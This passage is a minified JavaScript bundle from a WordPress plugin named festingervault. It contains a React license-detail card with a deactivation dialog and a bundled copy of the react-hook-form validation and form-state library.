File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/BZSVVDgF.431dca.js
import{c as Jt,u as dt,a as ft,j as v,_ as S,B as _e,J as Fe,R as p,r as q,P as Zt,b as he,d as Xt,S as Yt,z as tt}from"./0rvbeSEg.431dca.js";import{C as yt,a as ht,b as vt,c as mt,d as gt,A as er}from"./DUjAZQ04.431dca.js";import{D as tr,a as rr,L as Oe,b as sr,c as ir,d as nr,e as ar,f as lr,g as or,u as ur}from"./Bd_FSJ-T.431dca.js";import{I as cr}from"./D9o6hvik.431dca.js";/**
* @license lucide-react v0.396.0 - ISC
*
* This source code is licensed under the ISC license.
* See the LICENSE file in the root directory of this source tree.
*/const dr=Jt("Globe",[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"M12 2a14.5 14.5 0 0 0 0 20 14.5 14.5 0 0 0 0-20",key:"13o1zl"}],["path",{d:"M2 12h20",key:"9i4pu4"}]]);function fr({detail:e}){const r=dt(),{isPending:t,mutateAsync:i}=ft("license/deactivate");async function a(){try{await i({}),Fe.success(S("License Deactivated Successfully")),r.invalidateQueries({queryKey:["license/detail"]})}catch(n){Fe.error((n==null?void 0:n.message)??S("Error Deactivating License"))}}return v.jsxs(yt,{className:"",children:[v.jsxs(ht,{className:"flex flex-row items-center justify-between space-y-0 border-b",children:[v.jsx(vt,{className:"text-lg font-medium uppercase",children:e.plan_type}),v.jsx(dr,{className:"h-4 w-4 text-muted-foreground"})]}),v.jsxs(mt,{className:"space-y-2",children:[v.jsx("div",{className:"text-xl font-bold",children:e.plan_title}),v.jsxs("div",{className:"flex flex-row gap-1 text-xs text-muted-foreground",children:[v.jsx("span",{children:S("Expires:")}),v.jsx("span",{children:e.expires>0?moment.unix(e.expires).fromNow():"LIFETIME"})]}),v.jsxs("div",{className:"flex flex-row gap-1 text-xs text-muted-foreground",children:[v.jsx("span",{children:S("Status:")}),v.jsx("span",{children:e.status})]}),v.jsxs("div",{className:"flex flex-row gap-1 text-xs text-muted-foreground",children:[v.jsx("span",{children:S("Install ID:")}),v.jsx("span",{children:e.activation_key})]})]}),v.jsx(gt,{children:v.jsxs(tr,{children:[v.jsx(rr,{asChild:!0,children:v.jsxs(_e,{variant:"destructive",size:"sm",disabled:t,className:"flex-rowgap-2 flex",children:[S("Deactivate"),t?v.jsx(Oe,{className:"h-4 w-4 animate-spin"}):null]})}),v.jsx(sr,{children:v.jsxs("div",{className:"mx-auto w-full max-w-sm",children:[v.jsxs(ir,{className:"text-center",children:[v.jsx(nr,{className:"text-center",children:S("Are you absolutely sure?")}),v.jsx(ar,{className:"text-center",children:S("Do you want to deactivate license activation")})]}),v.jsx(lr,{children:v.jsxs("div",{className:"flex flex-row justify-center gap-4",children:[v.jsxs(_e,{onClick:a,variant:"destructive",disabled:t,className:"flex flex-row gap-2",children:[S("Deactivate"),t?v.jsx(Oe,{className:"h-4 w-4 animate-spin"}):null]}),v.jsx(or,{asChild:!0,children:v.jsx(_e,{variant:"outline",children:S("Cancel")})})]})})]})})]})})]})}var ve=e=>e.type==="checkbox",le=e=>e instanceof Date,T=e=>e==null;const xt=e=>typeof e=="object";var L=e=>!T(e)&&!Array.isArray(e)&&xt(e)&&!le(e),_t=e=>L(e)&&e.target?ve(e.target)?e.target.checked:e.target.value:e,yr=e=>e.substring(0,e.search(/\.\d+(\.|$)/))||e,bt=(e,r)=>e.has(yr(r)),hr=e=>{const r=e.constructor&&e.constructor.prototype;return L(r)&&r.hasOwnProperty("isPrototypeOf")},Pe=typeof window<"u"&&typeof window.HTMLElement<"u"&&typeof document<"u";function M(e){let r;const t=Array.isArray(e);if(e instanceof Date)r=new Date(e);else if(e instanceof Set)r=new Set(e);else if(!(Pe&&(e instanceof Blob||e instanceof FileList))&&(t||L(e)))if(r=t?[]:{},!t&&!hr(e))r=e;else for(const i in e)e.hasOwnProperty(i)&&(r[i]=M(e[i]));else return e;return r}var Ee=e=>Array.isArray(e)?e.filter(Boolean):[],E=e=>e===void 0,d=(e,r,t)=>{if(!r||!L(e))return t;const i=Ee(r.split(/[,[\].]+?/)).reduce((a,n)=>T(a)?a:a[n],e);return E(i)||i===e?E(e[r])?t:e[r]:i},z=e=>typeof e=="boolean",Be=e=>/^\w*$/.test(e),Ft=e=>Ee(e.replace(/["|']|\]/g,"").split(/\.|\[/)),D=(e,r,t)=>{let i=-1;const a=Be(r)?[r]:Ft(r),n=a.length,u=n-1;for(;++i<n;){const h=a[i];let _=t;if(i!==u){const V=e[h];_=L(V)||Array.isArray(V)?V:isNaN(+a[i+1])?{}:[]}if(h==="__proto__")return;e[h]=_,e=e[h]}return e};const Ve={BLUR:"blur",FOCUS_OUT:"focusout",CHANGE:"change"},$={onBlur:"onBlur",onChange:"onChange",onSubmit:"onSubmit",onTouched:"onTouched",all:"all"},Z={max:"max",min:"min",maxLength:"maxLength",minLength:"minLength",pattern:"pattern",required:"required",validate:"validate"},Vt=p.createContext(null),je=()=>p.useContext(Vt),vr=e=>{const{children:r,...t}=e;return p.createElement(Vt.Provider,{value:t},r)};var At=(e,r,t,i=!0)=>{const a={defaultValues:r._defaultValues};for(const n in e)Object.defineProperty(a,n,{get:()=>{const u=n;return r._proxyFormState[u]!==$.all&&(r._proxyFormState[u]=!i||$.all),t&&(t[u]=!0),e[u]}});return a},O=e=>L(e)&&!Object.keys(e).length,wt=(e,r,t,i)=>{t(e);const{name:a,...n}=e;return O(n)||Object.keys(n).length>=Object.keys(r).length||Object.keys(n).find(u=>r[u]===(!i||$.all))},fe=e=>Array.isArray(e)?e:[e],Dt=(e,r,t)=>!e||!r||e===r||fe(e).some(i=>i&&(t?i===r:i.startsWith(r)||r.startsWith(i)));function qe(e){const r=p.useRef(e);r.current=e,p.useEffect(()=>{const t=!e.disabled&&r.current.subject&&r.current.subject.subscribe({next:r.current.next});return()=>{t&&t.unsubscribe()}},[e.disabled])}function mr(e){const r=je(),{control:t=r.control,disabled:i,name:a,exact:n}=e||{},[u,h]=p.useState(t._formState),_=p.useRef(!0),V=p.useRef({isDirty:!1,isLoading:!1,dirtyFields:!1,touchedFields:!1,validatingFields:!1,isValidating:!1,isValid:!1,errors:!1}),x=p.useRef(a);return x.current=a,qe({disabled:i,next:g=>_.current&&Dt(x.current,g.name,n)&&wt(g,V.current,t._updateFormState)&&h({...t._formState,...g}),subject:t._subjects.state}),p.useEffect(()=>(_.current=!0,V.current.isValid&&t._updateValid(!0),()=>{_.current=!1}),[t]),At(u,t,V.current,!1)}var G=e=>typeof e=="string",pt=(e,r,t,i,a)=>G(e)?(i&&r.watch.add(e),d(t,e,a)):Array.isArray(e)?e.map(n=>(i&&r.watch.add(n),d(t,n))):(i&&(r.watchAll=!0),t);function gr(e){const r=je(),{control:t=r.control,name:i,defaultValue:a,disabled:n,exact:u}=e||{},h=p.useRef(i);h.current=i,qe({disabled:n,subject:t._subjects.values,next:x=>{Dt(h.current,x.name,u)&&V(M(pt(h.current,t._names,x.values||t._formValues,!1,a)))}});const[_,V]=p.useState(t._getWatch(i,a));return p.useEffect(()=>t._removeUnmounted()),_}function xr(e){const r=je(),{name:t,disabled:i,control:a=r.control,shouldUnregister:n}=e,u=bt(a._names.array,t),h=gr({control:a,name:t,defaultValue:d(a._formValues,t,d(a._defaultValues,t,e.defaultValue)),exact:!0}),_=mr({control:a,name:t}),V=p.useRef(a.register(t,{...e.rules,value:h,...z(e.disabled)?{disabled:e.disabled}:{}}));return p.useEffect(()=>{const x=a._options.shouldUnregister||n,g=(W,K)=>{const R=d(a._fields,W);R&&R._f&&(R._f.mount=K)};if(g(t,!0),x){const W=M(d(a._options.defaultValues,t));D(a._defaultValues,t,W),E(d(a._formValues,t))&&D(a._formValues,t,W)}return()=>{(u?x&&!a._state.action:x)?a.unregister(t):g(t,!1)}},[t,a,u,n]),p.useEffect(()=>{d(a._fields,t)&&a._updateDisabledField({disabled:i,fields:a._fields,name:t,value:d(a._fields,t)._f.value})},[i,t,a]),{field:{name:t,value:h,...z(i)||_.disabled?{disabled:_.disabled||i}:{},onChange:p.useCallback(x=>V.current.onChange({target:{value:_t(x),name:t},type:Ve.CHANGE}),[t]),onBlur:p.useCallback(()=>V.current.onBlur({target:{value:d(a._formValues,t),name:t},type:Ve.BLUR}),[t,a]),ref:x=>{const g=d(a._fields,t);g&&x&&(g._f.ref={focus:()=>x.focus(),select:()=>x.select(),setCustomValidity:W=>x.setCustomValidity(W),reportValidity:()=>x.reportValidity()})}},formState:_,fieldState:Object.defineProperties({},{invalid:{enumerable:!0,get:()=>!!d(_.errors,t)},isDirty:{enumerable:!0,get:()=>!!d(_.dirtyFields,t)},isTouched:{enumerable:!0,get:()=>!!d(_.touchedFields,t)},isValidating:{enumerable:!0,get:()=>!!d(_.validatingFields,t)},error:{enumerable:!0,get:()=>d(_.errors,t)}})}}const _r=e=>e.render(xr(e));var Et=(e,r,t,i,a)=>r?{...t[e],types:{...t[e]&&t[e].types?t[e].types:{},[i]:a||!0}}:{},rt=e=>({isOnSubmit:!e||e===$.onSubmit,isOnBlur:e===$.onBlur,isOnChange:e===$.onChange,isOnAll:e===$.all,isOnTouch:e===$.onTouched}),st=(e,r,t)=>!t&&(r.watchAll||r.watch.has(e)||[...r.watch].some(i=>e.startsWith(i)&&/^\.\w+/.test(e.slice(i.length))));const ye=(e,r,t,i)=>{for(const a of t||Object.keys(e)){const n=d(e,a);if(n){const{_f:u,...h}=n;if(u){if(u.refs&&u.refs[0]&&r(u.refs[0],a)&&!i)break;if(u.ref&&r(u.ref,u.name)&&!i)break;ye(h,r)}else L(h)&&ye(h,r)}}};var br=(e,r,t)=>{const i=fe(d(e,t));return D(i,"root",r[t]),D(e,t,i),e},We=e=>e.type==="file",ee=e=>typeof e=="function",Ae=e=>{if(!Pe)return!1;const r=e?e.ownerDocument:0;return e instanceof(r&&r.defaultView?r.defaultView.HTMLElement:HTMLElement)},be=e=>G(e),He=e=>e.type==="radio",we=e=>e instanceof RegExp;const it={value:!1,isValid:!1},nt={value:!0,isValid:!0};var jt=e=>{if(Array.isArray(e)){if(e.length>1){const r=e.filter(t=>t&&t.checked&&!t.disabled).map(t=>t.value);return{value:r,isValid:!!r.length}}return e[0].checked&&!e[0].disabled?e[0].attributes&&!E(e[0].attributes.value)?E(e[0].value)||e[0].value===""?nt:{value:e[0].value,isValid:!0}:nt:it}return it};const at={isValid:!1,value:null};var St=e=>Array.isArray(e)?e.reduce((r,t)=>t&&t.checked&&!t.disabled?{isValid:!0,value:t.value}:r,at):at;function lt(e,r,t="validate"){if(be(e)||Array.isArray(e)&&e.every(be)||z(e)&&!e)return{type:t,message:be(e)?e:"",ref:r}}var ae=e=>L(e)&&!we(e)?e:{value:e,message:""},ot=async(e,r,t,i,a)=>{const{ref:n,refs:u,required:h,maxLength:_,minLength:V,min:x,max:g,pattern:W,validate:K,name:R,valueAsNumber:ke,mount:X,disabled:Y}=e._f,F=d(r,R);if(!X||Y)return{};const Q=u?u[0]:n,J=b=>{i&&Q.reportValidity&&(Q.setCustomValidity(z(b)?"":b||""),Q.reportValidity())},k={},se=He(n),me=ve(n),te=se||me,ie=(ke||We(n))&&E(n.value)&&E(F)||Ae(n)&&n.value===""||F===""||Array.isArray(F)&&!F.length,P=Et.bind(null,R,t,k),ge=(b,A,C,I=Z.maxLength,H=Z.minLength)=>{const B=b?A:C;k[R]={type:b?I:H,message:B,ref:n,...P(b?I:H,B)}};if(a?!Array.isArray(F)||!F.length:h&&(!te&&(ie||T(F))||z(F)&&!F||me&&!jt(u).isValid||se&&!St(u).isValid)){const{value:b,message:A}=be(h)?{value:!!h,message:h}:ae(h);if(b&&(k[R]={type:Z.required,message:A,ref:Q,...P(Z.required,A)},!t))return J(A),k}if(!ie&&(!T(x)||!T(g))){let b,A;const C=ae(g),I=ae(x);if(!T(F)&&!isNaN(F)){const H=n.valueAsNumber||F&&+F;T(C.value)||(b=H>C.value),T(I.value)||(A=H<I.value)}else{const H=n.valueAsDate||new Date(F),B=ce=>new Date(new Date().toDateString()+" "+ce),oe=n.type=="time",ue=n.type=="week";G(C.value)&&F&&(b=oe?B(F)>B(C.value):ue?F>C.value:H>new Date(C.value)),G(I.value)&&F&&(A=oe?B(F)<B(I.value):ue?F<I.value:H<new Date(I.value))}if((b||A)&&(ge(!!b,C.message,I.message,Z.max,Z.min),!t))return J(k[R].message),k}if((_||V)&&!ie&&(G(F)||a&&Array.isArray(F))){const b=ae(_),A=ae(V),C=!T(b.value)&&F.length>+b.value,I=!T(A.value)&&F.length<+A.value;if((C||I)&&(ge(C,b.message,A.message),!t))return J(k[R].message),k}if(W&&!ie&&G(F)){const{value:b,message:A}=ae(W);if(we(b)&&!F.match(b)&&(k[R]={type:Z.pattern,message:A,ref:n,...P(Z.pattern,A)},!t))return J(A),k}if(K){if(ee(K)){const b=await K(F,r),A=lt(b,Q);if(A&&(k[R]={...A,...P(Z.validate,A.message)},!t))return J(A.message),k}else if(L(K)){let b={};for(const A in K){if(!O(b)&&!t)break;const C=lt(await K[A](F,r),Q,A);C&&(b={...C,...P(A,C.message)},J(C.message),t&&(k[R]=b))}if(!O(b)&&(k[R]={ref:Q,...b},!t))return k}}return J(!0),k};function Fr(e,r){const t=r.slice(0,-1).length;let i=0;for(;i<t;)e=E(e)?i++:e[r[i++]];return e}function Vr(e){for(const r in e)if(e.hasOwnProperty(r)&&!E(e[r]))return!1;return!0}function N(e,r){const t=Array.isArray(r)?r:Be(r)?[r]:Ft(r),i=t.length===1?e:Fr(e,t),a=t.length-1,n=t[a];return i&&delete i[n],a!==0&&(L(i)&&O(i)||Array.isArray(i)&&Vr(i))&&N(e,t.slice(0,-1)),e}var Ie=()=>{let e=[];return{get observers(){return e},next:a=>{for(const n of e)n.next&&n.next(a)},subscribe:a=>(e.push(a),{unsubscribe:()=>{e=e.filter(n=>n!==a)}}),unsubscribe:()=>{e=[]}}},De=e=>T(e)||!xt(e);function re(e,r){if(De(e)||De(r))return e===r;if(le(e)&&le(r))return e.getTime()===r.getTime();const t=Object.keys(e),i=Object.keys(r);if(t.length!==i.length)return!1;for(const a of t){const n=e[a];if(!i.includes(a))return!1;if(a!=="ref"){const u=r[a];if(le(n)&&le(u)||L(n)&&L(u)||Array.isArray(n)&&Array.isArray(u)?!re(n,u):n!==u)return!1}}return!0}var kt=e=>e.type==="select-multiple",Ar=e=>He(e)||ve(e),Te=e=>Ae(e)&&e.isConnected,Ct=e=>{for(const r in e)if(ee(e[r]))return!0;return!1};function pe(e,r={}){const t=Array.isArray(e);if(L(e)||t)for(const i in e)Array.isArray(e[i])||L(e[i])&&!Ct(e[i])?(r[i]=Array.isArray(e[i])?[]:{},pe(e[i],r[i])):T(e[i])||(r[i]=!0);return r}function Nt(e,r,t){const i=Array.isArray(e);if(L(e)||i)for(const a in e)Array.isArray(e[a])||L(e[a])&&!Ct(e[a])?E(r)||De(t[a])?t[a]=Array.isArray(e[a])?pe(e[a],[]):{...pe(e[a])}:Nt(e[a],T(r)?{}:r[a],t[a]):t[a]=!re(e[a],r[a]);return t}var xe=(e,r)=>Nt(e,r,pe(r)),Lt=(e,{valueAsNumber:r,valueAsDate:t,setValueAs:i})=>E(e)?e:r?e===""?NaN:e&&+e:t&&G(e)?new Date(e):i?i(e):e;function Me(e){const r=e.ref;if(!(e.refs?e.refs.every(t=>t.disabled):r.disabled))return We(r)?r.files:He(r)?St(e.refs).value:kt(r)?[...r.selectedOptions].map(({value:t})=>t):ve(r)?jt(e.refs).value:Lt(E(r.value)?e.ref.value:r.value,e)}var wr=(e,r,t,i)=>{const a={};for(const n of e){const u=d(r,n);u&&D(a,n,u._f)}return{criteriaMode:t,names:[...e],fields:a,shouldUseNativeValidation:i}},de=e=>E(e)?e:we(e)?e.source:L(e)?we(e.value)?e.value.source:e.value:e,Dr=e=>e.mount&&(e.required||e.min||e.max||e.maxLength||e.minLength||e.pattern||e.validate);function ut(e,r,t){const i=d(e,t);if(i||Be(t))return{error:i,name:t};const a=t.split(".");for(;a.length;){const n=a.join("."),u=d(r,n),h=d(e,n);if(u&&!Array.isArray(u)&&t!==n)return{name:t};if(h&&h.type)return{name:n,error:h};a.pop()}return{name:t}}var pr=(e,r,t,i,a)=>a.isOnAll?!1:!t&&a.isOnTouch?!(r||e):(t?i.isOnBlur:a.isOnBlur)?!e:(t?i.isOnChange:a.isOnChange)?e:!0,Er=(e,r)=>!Ee(d(e,r)).length&&N(e,r);const jr={mode:$.onSubmit,reValidateMode:$.onChange,shouldFocusError:!0};function Sr(e={}){let r={...jr,...e},t={submitCount:0,isDirty:!1,isLoading:ee(r.defaultValues),isValidating:!1,isSubmitted:!1,isSubmitting:!1,isSubmitSuccessful:!1,isValid:!1,touchedFields:{},dirtyFields:{},validatingFields:{},errors:r.errors||{},disabled:r.disabled||!1},i={},a=L(r.defaultValues)||L(r.values)?M(r.defaultValues||r.values)||{}:{},n=r.shouldUnregister?{}:M(a),u={action:!1,mount:!1,watch:!1},h={mount:new Set,unMount:new Set,array:new Set,watch:new Set},_,V=0;const x={isDirty:!1,dirtyFields:!1,validatingFields:!1,touchedFields:!1,isValidating:!1,isValid:!1,errors:!1},g={values:Ie(),array:Ie(),state:Ie()},W=rt(r.mode),K=rt(r.reValidateMode),R=r.criteriaMode===$.all,ke=s=>l=>{clearTimeout(V),V=setTimeout(s,l)},X=async s=>{if(x.isValid||s){const l=r.resolver?O((await te()).errors):await P(i,!0);l!==t.isValid&&g.state.next({isValid:l})}},Y=(s,l)=>{(x.isValidating||x.validatingFields)&&((s||Array.from(h.mount)).forEach(o=>{o&&(l?D(t.validatingFields,o,l):N(t.validatingFields,o))}),g.state.next({validatingFields:t.validatingFields,isValidating:!O(t.validatingFields)}))},F=(s,l=[],o,y,f=!0,c=!0)=>{if(y&&o){if(u.action=!0,c&&Array.isArray(d(i,s))){const m=o(d(i,s),y.argA,y.argB);f&&D(i,s,m)}if(c&&Array.isArray(d(t.errors,s))){const m=o(d(t.errors,s),y.argA,y.argB);f&&D(t.errors,s,m),Er(t.errors,s)}if(x.touchedFields&&c&&Array.isArray(d(t.touchedFields,s))){const m=o(d(t.touchedFields,s),y.argA,y.argB);f&&D(t.touchedFields,s,m)}x.dirtyFields&&(t.dirtyFields=xe(a,n)),g.state.next({name:s,isDirty:b(s,l),dirtyFields:t.dirtyFields,errors:t.errors,isValid:t.isValid})}else D(n,s,l)},Q=(s,l)=>{D(t.errors,s,l),g.state.next({errors:t.errors})},J=s=>{t.errors=s,g.state.next({errors:t.errors,isValid:!1})},k=(s,l,o,y)=>{const f=d(i,s);if(f){const c=d(n,s,E(o)?d(a,s):o);E(c)||y&&y.defaultChecked||l?D(n,s,l?c:Me(f._f)):I(s,c),u.mount&&X()}},se=(s,l,o,y,f)=>{let c=!1,m=!1;const w={name:s},j=!!(d(i,s)&&d(i,s)._f&&d(i,s)._f.disabled);if(!o||y){x.isDirty&&(m=t.isDirty,t.isDirty=w.isDirty=b(),c=m!==w.isDirty);const U=j||re(d(a,s),l);m=!!(!j&&d(t.dirtyFields,s)),U||j?N(t.dirtyFields,s):D(t.dirtyFields,s,!0),w.dirtyFields=t.dirtyFields,c=c||x.dirtyFields&&m!==!U}if(o){const U=d(t.touchedFields,s);U||(D(t.touchedFields,s,o),w.touchedFields=t.touchedFields,c=c||x.touchedFields&&U!==o)}return c&&f&&g.state.next(w),c?w:{}},me=(s,l,o,y)=>{const f=d(t.errors,s),c=x.isValid&&z(l)&&t.isValid!==l;if(e.delayError&&o?(_=ke(()=>Q(s,o)),_(e.delayError)):(clearTimeout(V),_=null,o?D(t.errors,s,o):N(t.errors,s)),(o?!re(f,o):f)||!O(y)||c){const m={...y,...c&&z(l)?{isValid:l}:{},errors:t.errors,name:s};t={...t,...m},g.state.next(m)}},te=async s=>{Y(s,!0);const l=await r.resolver(n,r.context,wr(s||h.mount,i,r.criteriaMode,r.shouldUseNativeValidation));return Y(s),l},ie=async s=>{const{errors:l}=await te(s);if(s)for(const o of s){const y=d(l,o);y?D(t.errors,o,y):N(t.errors,o)}else t.errors=l;return l},P=async(s,l,o={valid:!0})=>{for(const y in s){const f=s[y];if(f){const{_f:c,...m}=f;if(c){const w=h.array.has(c.name);Y([y],!0);const j=await ot(f,n,R,r.shouldUseNativeValidation&&!l,w);if(Y([y]),j[c.name]&&(o.valid=!1,l))break;!l&&(d(j,c.name)?w?br(t.errors,j,c.name):D(t.errors,c.name,j[c.name]):N(t.errors,c.name))}m&&await P(m,l,o)}}return o.valid},ge=()=>{for(const s of h.unMount){const l=d(i,s);l&&(l._f.refs?l._f.refs.every(o=>!Te(o)):!Te(l._f.ref))&&Ce(s)}h.unMount=new Set},b=(s,l)=>(s&&l&&D(n,s,l),!re($e(),a)),A=(s,l,o)=>pt(s,h,{...u.mount?n:E(l)?a:G(s)?{[s]:l}:l},o,l),C=s=>Ee(d(u.mount?n:a,s,e.shouldUnregister?d(a,s,[]):[])),I=(s,l,o={})=>{const y=d(i,s);let f=l;if(y){const c=y._f;c&&(!c.disabled&&D(n,s,Lt(l,c)),f=Ae(c.ref)&&T(l)?"":l,kt(c.ref)?[...c.ref.options].forEach(m=>m.selected=f.includes(m.value)):c.refs?ve(c.ref)?c.refs.length>1?c.refs.forEach(m=>(!m.defaultChecked||!m.disabled)&&(m.checked=Array.isArray(f)?!!f.find(w=>w===m.value):f===m.value)):c.refs[0]&&(c.refs[0].checked=!!f):c.refs.forEach(m=>m.checked=m.value===f):We(c.ref)?c.ref.value="":(c.ref.value=f,c.ref.type||g.values.next({name:s,values:{...n}})))}(o.shouldDirty||o.shouldTouch)&&se(s,f,o.shouldTouch,o.shouldDirty,!0),o.shouldValidate&&ce(s)},H=(s,l,o)=>{for(const y in l){const f=l[y],c=`${s}.${y}`,m=d(i,c);(h.array.has(s)||!De(f)||m&&!m._f)&&!le(f)?H(c,f,o):I(c,f,o)}},B=(s,l,o={})=>{const y=d(i,s),f=h.array.has(s),c=M(l);D(n,s,c),f?(g.array.next({name:s,values:{...n}}),(x.isDirty||x.dirtyFields)&&o.shouldDirty&&g.state.next({name:s,dirtyFields:xe(a,n),isDirty:b(s,c)})):y&&!y._f&&!T(c)?H(s,c,o):I(s,c,o),st(s,h)&&g.state.next({...t}),g.values.next({name:u.mount?s:void 0,values:{...n}})},oe=async s=>{u.mount=!0;const l=s.target;let o=l.name,y=!0;const f=d(i,o),c=()=>l.type?Me(f._f):_t(s),m=w=>{y=Number.isNaN(w)||w===d(n,o,w)};if(f){let w,j;const U=c(),ne=s.type===Ve.BLUR||s.type===Ve.FOCUS_OUT,zt=!Dr(f._f)&&!r.resolver&&!d(t.errors,o)&&!f._f.deps||pr(ne,d(t.touchedFields,o),t.isSubmitted,K,W),Le=st(o,h,ne);D(n,o,U),ne?(f._f.onBlur&&f._f.onBlur(s),_&&_(0)):f._f.onChange&&f._f.onChange(s);const Re=se(o,U,ne,!1),Gt=!O(Re)||Le;if(!ne&&g.values.next({name:o,type:s.type,values:{...n}}),zt)return x.isValid&&X(),Gt&&g.state.next({name:o,...Le?{}:Re});if(!ne&&Le&&g.state.next({...t}),r.resolver){const{errors:Ye}=await te([o]);if(m(U),y){const Qt=ut(t.errors,i,o),et=ut(Ye,i,Qt.name||o);w=et.error,o=et.name,j=O(Ye)}}else Y([o],!0),w=(await ot(f,n,R,r.shouldUseNativeValidation))[o],Y([o]),m(U),y&&(w?j=!1:x.isValid&&(j=await P(i,!0)));y&&(f._f.deps&&ce(f._f.deps),me(o,j,w,Re))}},ue=(s,l)=>{if(d(t.errors,l)&&s.focus)return s.focus(),1},ce=async(s,l={})=>{let o,y;const f=fe(s);if(r.resolver){const c=await ie(E(s)?s:f);o=O(c),y=s?!f.some(m=>d(c,m)):o}else s?(y=(await Promise.all(f.map(async c=>{const m=d(i,c);return await P(m&&m._f?{[c]:m}:m)}))).every(Boolean),!(!y&&!t.isValid)&&X()):y=o=await P(i);return g.state.next({...!G(s)||x.isValid&&o!==t.isValid?{}:{name:s},...r.resolver||!s?{isValid:o}:{},errors:t.errors}),l.shouldFocus&&!y&&ye(i,ue,s?f:h.mount),y},$e=s=>{const l={...u.mount?n:a};return E(s)?l:G(s)?d(l,s):s.map(o=>d(l,o))},Ke=(s,l)=>({invalid:!!d((l||t).errors,s),isDirty:!!d((l||t).dirtyFields,s),error:d((l||t).errors,s),isValidating:!!d(t.validatingFields,s),isTouched:!!d((l||t).touchedFields,s)}),Wt=s=>{s&&fe(s).forEach(l=>N(t.errors,l)),g.state.next({errors:s?t.errors:{}})},ze=(s,l,o)=>{const y=(d(i,s,{_f:{}})._f||{}).ref,f=d(t.errors,s)||{},{ref:c,message:m,type:w,...j}=f;D(t.errors,s,{...j,...l,ref:y}),g.state.next({name:s,errors:t.errors,isValid:!1}),o&&o.shouldFocus&&y&&y.focus&&y.focus()},Ht=(s,l)=>ee(s)?g.values.subscribe({next:o=>s(A(void 0,l),o)}):A(s,l,!0),Ce=(s,l={})=>{for(const o of s?fe(s):h.mount)h.mount.delete(o),h.array.delete(o),l.keepValue||(N(i,o),N(n,o)),!l.keepError&&N(t.errors,o),!l.keepDirty&&N(t.dirtyFields,o),!l.keepTouched&&N(t.touchedFields,o),!l.keepIsValidating&&N(t.validatingFields,o),!r.shouldUnregister&&!l.keepDefaultValue&&N(a,o);g.values.next({values:{...n}}),g.state.next({...t,...l.keepDirty?{isDirty:b()}:{}}),!l.keepIsValid&&X()},Ge=({disabled:s,name:l,field:o,fields:y,value:f})=>{if(z(s)&&u.mount||s){const c=s?void 0:E(f)?Me(o?o._f:d(y,l)._f):f;D(n,l,c),se(l,c,!1,!1,!0)}},Ne=(s,l={})=>{let o=d(i,s);const y=z(l.disabled);return D(i,s,{...o||{},_f:{...o&&o._f?o._f:{ref:{name:s}},name:s,mount:!0,...l}}),h.mount.add(s),o?Ge({field:o,disabled:l.disabled,name:s,value:l.value}):k(s,!0,l.value),{...y?{disabled:l.disabled}:{},...r.progressive?{required:!!l.required,min:de(l.min),max:de(l.max),minLength:de(l.minLength),maxLength:de(l.maxLength),pattern:de(l.pattern)}:{},name:s,onChange:oe,onBlur:oe,ref:f=>{if(f){Ne(s,l),o=d(i,s);const c=E(f.value)&&f.querySelectorAll&&f.querySelectorAll("input,select,textarea")[0]||f,m=Ar(c),w=o._f.refs||[];if(m?w.find(j=>j===c):c===o._f.ref)return;D(i,s,{_f:{...o._f,...m?{refs:[...w.filter(Te),c,...Array.isArray(d(a,s))?[{}]:[]],ref:{type:c.type,name:s}}:{ref:c}}}),k(s,!1,void 0,c)}else o=d(i,s,{}),o._f&&(o._f.mount=!1),(r.shouldUnregister||l.shouldUnregister)&&!(bt(h.array,s)&&u.action)&&h.unMount.add(s)}}},Qe=()=>r.shouldFocusError&&ye(i,ue,h.mount),$t=s=>{z(s)&&(g.state.next({disabled:s}),ye(i,(l,o)=>{const y=d(i,o);y&&(l.disabled=y._f.disabled||s,Array.isArray(y._f.refs)&&y._f.refs.forEach(f=>{f.disabled=y._f.disabled||s}))},0,!1))},Je=(s,l)=>async o=>{let y;o&&(o.preventDefault&&o.preventDefault(),o.persist&&o.persist());let f=M(n);if(g.state.next({isSubmitting:!0}),r.resolver){const{errors:c,values:m}=await te();t.errors=c,f=m}else await P(i);if(N(t.errors,"root"),O(t.errors)){g.state.next({errors:{}});try{await s(f,o)}catch(c){y=c}}else l&&await l({...t.errors},o),Qe(),setTimeout(Qe);if(g.state.next({isSubmitted:!0,isSubmitting:!1,isSubmitSuccessful:O(t.errors)&&!y,submitCount:t.submitCount+1,errors:t.errors}),y)throw y},Kt=(s,l={})=>{d(i,s)&&(E(l.defaultValue)?B(s,M(d(a,s))):(B(s,l.defaultValue),D(a,s,M(l.defaultValue))),l.keepTouched||N(t.touchedFields,s),l.keepDirty||(N(t.dirtyFields,s),t.isDirty=l.defaultValue?b(s,M(d(a,s))):b()),l.keepError||(N(t.errors,s),x.isValid&&X()),g.state.next({...t}))},Ze=(s,l={})=>{const o=s?M(s):a,y=M(o),f=O(s),c=f?a:y;if(l.keepDefaultValues||(a=o),!l.keepValues){if(l.keepDirtyValues)for(const m of h.mount)d(t.dirtyFields,m)?D(c,m,d(n,m)):B(m,d(c,m));else{if(Pe&&E(s))for(const m of h.mount){const w=d(i,m);if(w&&w._f){const j=Array.isArray(w._f.refs)?w._f.refs[0]:w._f.ref;if(Ae(j)){const U=j.closest("form");if(U){U.reset();break}}}}i={}}n=e.shouldUnregister?l.keepDefaultValues?M(a):{}:M(c),g.array.next({values:{...c}}),g.values.next({values:{...c}})}h={mount:l.keepDirtyValues?h.mount:new Set,unMount:new Set,array:new Set,watch:new Set,watchAll:!1,focus:""},u.mount=!x.isValid||!!l.keepIsValid||!!l.keepDirtyValues,u.watch=!!e.shouldUnregister,g.state.next({submitCount:l.keepSubmitCount?t.submitCount:0,isDirty:f?!1:l.keepDirty?t.isDirty:!!(l.keepDefaultValues&&!re(s,a)),isSubmitted:l.keepIsSubmitted?t.isSubmitted:!1,dirtyFields:f?{}:l.keepDirtyValues?l.keepDefaultValues&&n?xe(a,n):t.dirtyFields:l.keepDefaultValues&&s?xe(a,s):l.keepDirty?t.dirtyFields:{},touchedFields:l.keepTouched?t.touchedFields:{},errors:l.keepErrors?t.errors:{},isSubmitSuccessful:l.keepIsSubmitSuccessful?t.isSubmitSuccessful:!1,isSubmitting:!1})},Xe=(s,l)=>Ze(ee(s)?s(n):s,l);return{control:{register:Ne,unregister:Ce,getFieldState:Ke,handleSubmit:Je,setError:ze,_executeSchema:te,_getWatch:A,_getDirty:b,_updateValid:X,_removeUnmounted:ge,_updateFieldArray:F,_updateDisabledField:Ge,_getFieldArray:C,_reset:Ze,_resetDefaultValues:()=>ee(r.defaultValues)&